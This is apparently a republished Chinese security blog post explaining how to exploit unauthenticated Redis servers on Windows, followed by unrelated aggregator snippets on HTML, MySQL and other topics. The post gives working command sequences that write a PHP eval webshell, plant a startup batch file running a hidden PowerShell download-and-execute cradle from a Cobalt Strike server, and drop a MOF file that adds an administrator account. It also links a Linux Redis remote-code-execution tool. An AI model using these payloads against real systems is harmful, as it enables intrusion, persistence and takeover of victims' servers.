debian 訪問 windows 共享_【續】windows環境redis未授權利用方式梳理

01

Redis未授權產生原因

07ee27b5a670f37223e91331a49383d1.png

1.redis綁定在0.0.0.0:6379默認端口,直接暴露在公網,無防火墻進行來源信任防護。

2.沒有設置密碼認證,可以免密遠程登錄redis服務

02

漏洞危害

07ee27b5a670f37223e91331a49383d1.png

1.信息泄露,攻擊者可以惡意執行flushall清空數據

2.可以通過eval執行lua代碼,或通過數據備份功能往磁盤寫入后門文件

3.若以root身份運行,攻擊者可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務器。

03

利用方式01-寫入webshell

07ee27b5a670f37223e91331a49383d1.png

寫入webshell

1.獲取web絕對路徑,直接寫入webshell

redis-cli.exe -h redis-server] -p 6379redis redis-server> CONFIG SET dir c:/phpstudy/wwwOKredis redis-server> CONFIG SET dbfilename shell.phpOKredis redis-server> set x  “<?php  @eval($_POST['a']) ?>”OKredis redis-server> saveOK

直接訪問shell.php即可

04

利用方式02-啟動項寫入

07ee27b5a670f37223e91331a49383d1.png

windows下的開機啟動項的目錄為

C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/

寫入方式有很多,這里我們使用Cobalt Strike來進行演示

先啟動CS服務端 ,命令如下:

root@kali:~/cobaltstrike4.1# ./teamserver csip 123456

9914efeeba57a9f287746573300ad4ef.png

在啟動客戶端,輸入密碼和地址

fd534b67685781a408724544aad07e89.png

添加一個Listener 監聽器

25e3324ecf073e1ba1771af38b782596.png

選擇Attacks – Web Drive-By – Script Web Delivery,選擇剛才添加的Listener

a374cfaf0ff2d4b52bd4f8a465cf55a7.png

點擊Launch之后生成如下代碼

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://cs地址:80/a'))"

直接保存為1.bat即可

其中存在兩個小細節,一個是由于dbfile本身是有內容的,因此命令要正常運行必須先換行,經過測試需要兩個換行符rn才能正常運行,還有一個是由于本身執行命令中也有雙引號,因此需要加入轉義

redis-cli.exe -h 目標ip -p 6379 redis 目標ip:6379>config set dir “C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/“ OK redis 目標ip:6379> CONFIG SET dbfilename 1.bat OK?redis?目標ip:6379>set?x?"/r/n/r/npowershell.exe?-nop?-w?hidden?-c?"IEX?((new-object?net.webclient).downloadstring('http://csip:80/a'))"/r/n/r/n

83edf7580f9388c5ffa4348b97db7f7f.png

注意這里的雙引號要轉義,windwos路徑的start menu中間一個空格

OK redis 192.168.1.101:6379> save OK

ab049ac5baf0cb378822ef3d81796988.png

查看服務器啟動項,發現正常寫入命令

16dd1b96f45698f6cc910388a9a08f01.png

重啟目標機器,成功上線

46f5606dddaf0ab2ad74fffcd67ea6e0.png

e567817e6de933ad8f0175333466dcc1.png

30ba6fbca0b3c70a482499366fdfdddb.png

05

利用方式03-寫入mof

07ee27b5a670f37223e91331a49383d1.png

如果由于不能重啟機器也無法獲取web目錄,想到Mof提權,環境限制只能為win2003。

簡單描述一下mof提權的原理:

mof是windows系統的一個文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做”托管對象格式”其作用是每隔五秒就會去監控進程創建和死亡。其實就是有了mysql的root權限了以后,然后使用root權限去執行我們上傳的mof。隔了一定時間以后這個mof就會被執行,這個mof當中有一段是vbs腳本,這個vbs大多數的是cmd的添加管理員用戶的命令。

也就是說在`c:/windows/system32/wbem/mof/`目錄下的mof文件會每5秒自動執行一次,這樣就不需要重啟機器就能獲取權限了。

首先將如下代碼保存為admin.txt文件:

#pragma namespace("\\.\root\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\Cimv2"; Name  = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa "Win32_LocalTime" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user admin admin /add")"; }; instance of __FilterToConsumerBinding { Consumer   = $Consumer; Filter = $EventFilter; };

此處要執行的命令為添加名為admin的用戶

8cd622bd45325d5f7b71b21b62f82c15.png

然后執行

(echo -e "nn"; cat admin.txt; echo -e "nn") > foo.txt

切換到redis目錄,運行如下命令

87af512c23087a97014a09a6fc531ed4.png

過一會就看到用戶添加成功了。(本地測試一直未成功,寫入mof文件夾成功,但是執行一直到bad文件夾里)

補充一個linux下的利用方式:

在2019年7月7日結束的WCTF2019 Final上,LC/BC的成員Pavel Toporkov在分享會上介紹了一種關于redis新版本的RCE利用方式

https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

利用腳本如下

https://github.com/LoRexxar/redis-rogue-server

實戰在生產環境下用還是會有很多問題的

1. redis數據量稍微大一點,寫shell到文件之后,php因為文件太大是會拒絕執行的

2. Ubuntu,Debian寫計劃任務反彈無用

3. 寫/etc/passwd會覆蓋原有/etc/passwd,不可能改了再改回來

4. 生產環境下用`KEY *` 這樣的命令直接炸

43fd81ec8f4db9f08b97223d1a2c480d.png

白澤Sec

技術就應該被共享。

學習,我們一直走在路上。

白閣投稿郵箱:

ByLibrary@163.com

白閣漏洞庫:

www.bylibrary.cn

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/397764.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/397764.shtml
英文地址,請注明出處:http://en.pswp.cn/news/397764.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

HTML比較常用的標簽

1.全局架構標簽&#xff1a;<html><head><title>標題</title><meta charset"utf-8"></head><body>正文部分</body></html><!--注釋部分-->2.body標簽的屬性bgcolor&#xff1a;背景色text:整個網頁的顏…

sae項目服務器,基于SAE的游戲服務器: Server on SAE for RGSS Games 部署在SAE上的簡易游戲服務器,為用 RMXP/VX/VA 開發的游戲提供網絡服務...

本項目已經關閉服務端已經關閉并且不再重啟&#xff0c;后續請訪問 RGSOS on Gitlab基于SAE的游戲服務器重寫服務端邏輯中……暫時無法正常提供服務功能數據庫封裝封裝了 SAE 上的 Memcached&#xff0c;KVDB 和 Storage 到 SAE_IO 類&#xff0c;并引申到兩個子類&#xff1a;…

1090 Highest Price in Supply Chain (25)

A supply chain is a network of retailers&#xff08;零售商&#xff09;, distributors&#xff08;經銷商&#xff09;, and suppliers&#xff08;供應商&#xff09;-- everyone involved in moving a product from supplier to customer. Starting from one root suppli…

mysql 列數據顯示轉成行數據顯示_Mysql的列修改成行并顯示數據的簡單實現

創建測試表&#xff1a;DROP TABLE IF EXISTS test;CREATE TABLE test (year int(11) DEFAULT NULL,month int(11) DEFAULT NULL,amount double DEFAULT NULL) ENGINEInnoDB DEFAULT CHARSETutf8;插入數據&#xff1a;INSERT INTO test VALUES (1991, 1, 1.1);INSERT INTO test…

Android兩種常見錯誤(ANR和FC)解決辦法

ANR(Activity Not Respone)(無響應)先介紹下Main線程&#xff08;也稱為UI線程、主線程&#xff09;功能: 1.創建UI控件2.更新UI控件狀態3.事件處理限制&#xff1a;Main線程不建議有超過5秒的事件出現條件&#xff1a;當用戶輸入事件5s內沒有得到響應&#xff0c;將彈出ANR對話…

mysql命令(command)

連接mysql命令: mysql -h 192.168.1.1 -P 3306 -uuserName -pPassword 顯示表的索引: SHOW INDDEX FROM table_name 查看mysql的超時時間&#xff1a;SHOW GLOBAL VARIABLES LIKE %timeout% 備份表結構和表數據&#xff1a;mysqldump -u用戶名 -p 庫名 表1 表2 > xxx.sql只…

微信5.0登錄提示服務器繁忙,iOS集成友盟社會化分享微信無法登錄?

iOS集成友盟社會化分享SDK-5.0點擊微信登錄的時候出現無法獲取accessToken的現象&#xff0c;其他如QQ、微博都可以正常登錄使用。另外QQ、微博和微信分享都可以正常使用。望各位早日幫我解決或者分析一下。謝謝//微信登錄之后的回調- (BOOL)application:(UIApplication *)appl…

sql獲取某列出現頻次最多的值_業務硬核SQL集錦

戳上方藍字關注我 這兩年學會了跑sql&#xff0c;當時有很多同學幫助我精進了這個技能&#xff0c;現在也寫成一個小教程&#xff0c;反饋給大家。適用對象&#xff1a;工作中能接觸到sql查詢平臺的業務同學(例如有數據查詢權限的產品與運營同學)適用場景&#xff1a;查詢hive&…

void ,NULL與0的區別聯系

void ,NULL及0的區別聯系 void的詳解: void的字面意思是“無類型”或“空類型”&#xff0c;void*則為“無針型指針”&#xff0c;那就意味著void*可以指向任何類型的數據。 眾所周知&#xff0c;如果指針p1和p2的類型相同&#xff0c;那么我們可以直接在p1和p2間互相賦值&…

python 2 days

1&#xff0c;格式化輸出&#xff0c;%s %d 2&#xff0c;復習昨日講題 編譯型&#xff1a; 將代碼一次性全部編譯成二進制&#xff0c;然后運行。 優點&#xff1a;執行效率高。 缺點&#xff1a;開發效率低&#xff0c;不能跨平臺。 C解釋型&#xff1a; 代碼…

nginx編譯安裝與配置使用

第一部分----nginx基本應用源碼編譯安裝nginx1、安裝pcre軟件包&#xff08;使nginx支持http rewrite模塊&#xff09;yum install -y pcre yum install -y pcre-devel2、安裝openssl-devel&#xff08;使nginx支持ssl&#xff09;yum install -y openssl-devel3、創建用戶ngin…

ubuntu+查看服務器文件夾權限,Ubuntu - 文件夾權限查看與修改

Ubuntu 文件的歸屬身份有四種&#xff1a;u - 擁有文件的用戶(所有者)g - 所有者所在的組群o - 其他人(不是所有者或所有者的組群)a - 每個人或全部(u, g, o)1. 查看文件/文件夾權限ls -l filename # 查看文件權限ls -ld folder # 查看文件夾權限輸出結果如&#xff1a;drwxrwx…

mysql dump 1449_跨版本mysqldump恢復報錯Errno1449

已經有一套主從mysql,新增兩個slave主庫Server version: 5.6.22-log MySQL Community Server (GPL)舊從庫Server version: 5.6.28-log MySQL Community Server (GPL)新增SLAVE 1&#xff1a; Server version: 5.6.22-log MySQL Community Server (GPL)新增SLAVE 2&#xff1a; …

修復 Xcode 錯誤 “The identity used to sign the executable is no longer valid”

如圖&#xff1a; 解決方法來自&#xff1a;http://stackoverflow.com/questions/7088441/the-identity-used-to-sign-the-executable-is-no-longer-valid/14275197 Restarting Xcode didnt work for me. What fixed it for me was going to Accounts in Xcode (in preferences…

centos設置ip

這里是centos7.vmware安裝centos后需要設置ip 1.首先查看虛擬機的網絡適配器信息 2.根據信息修改配置文件 vi /etc/sysconfig/network-scripts/ifcfg-ens33 圖為修改后的,最初的配置為 BOOTPROTOdhcp ONBOOTno IPADDR,GATEWAY,NETMASK沒有進行配置需要根據網絡適配器配置手動維…

微信支付+服務器+php代碼,php 微信支付企業付款(示例代碼)

/*** 格式化參數格式化成url參數*/public function ToUrl($arr){$buff "";foreach ($arr as $k > $v){if($k ! "sign" && $v ! "" && !is_array($v)){$buff . $k . "" . $v . "&";}}$buff trim($b…

Spark踩坑記——數據庫(Hbase+Mysql)轉

轉自&#xff1a;http://www.cnblogs.com/xlturing/p/spark.html 前言 在使用Spark Streaming的過程中對于計算產生結果的進行持久化時&#xff0c;我們往往需要操作數據庫&#xff0c;去統計或者改變一些值。最近一個實時消費者處理任務&#xff0c;在使用spark streaming進行…

解決Failed to connect session for conifg 故障

服務器升級openssh之后jenkins構建報錯了&#xff0c;報錯信息如下&#xff1a; Failed to connet or change directory jenkins.plugins.publish_over.BapPublisherException:Failed to connect session for config.....Message [Algorithm negotiation fail] 升級前ssh版本&a…

78oa mysql_78oa系統版本升級方法

可升級版本預覽升級方法&#xff1a;1、備份數據庫、附件目錄、二次開發程序打開開始菜單——控制面板——管理工具——服務&#xff0c;右鍵點擊停止 78oa mysql service 服務&#xff0c;完整復制【D:\78OA\server\modules\storage\data\78oa】(數據庫)文件夾至備份區域。完整…

Excel導出顯示服務器意外,C# 調用Excel 出現服務器出現意外狀況. (異常來自 HRESULT:0x80010105 (RPC_E_SERVERFAULT)...

C# 調用Excel 出現服務器出現意外狀況. (異常來自 HRESULT:0x80010105 (RPC_E_SERVERFAULT)htmlprivate Microsoft.Office.Interop.Excel.Application xApp;private Microsoft.Office.Interop.Excel.Workbook xBook;服務器//變量xApp new Microsoft.Office.Interop.Excel.Appl…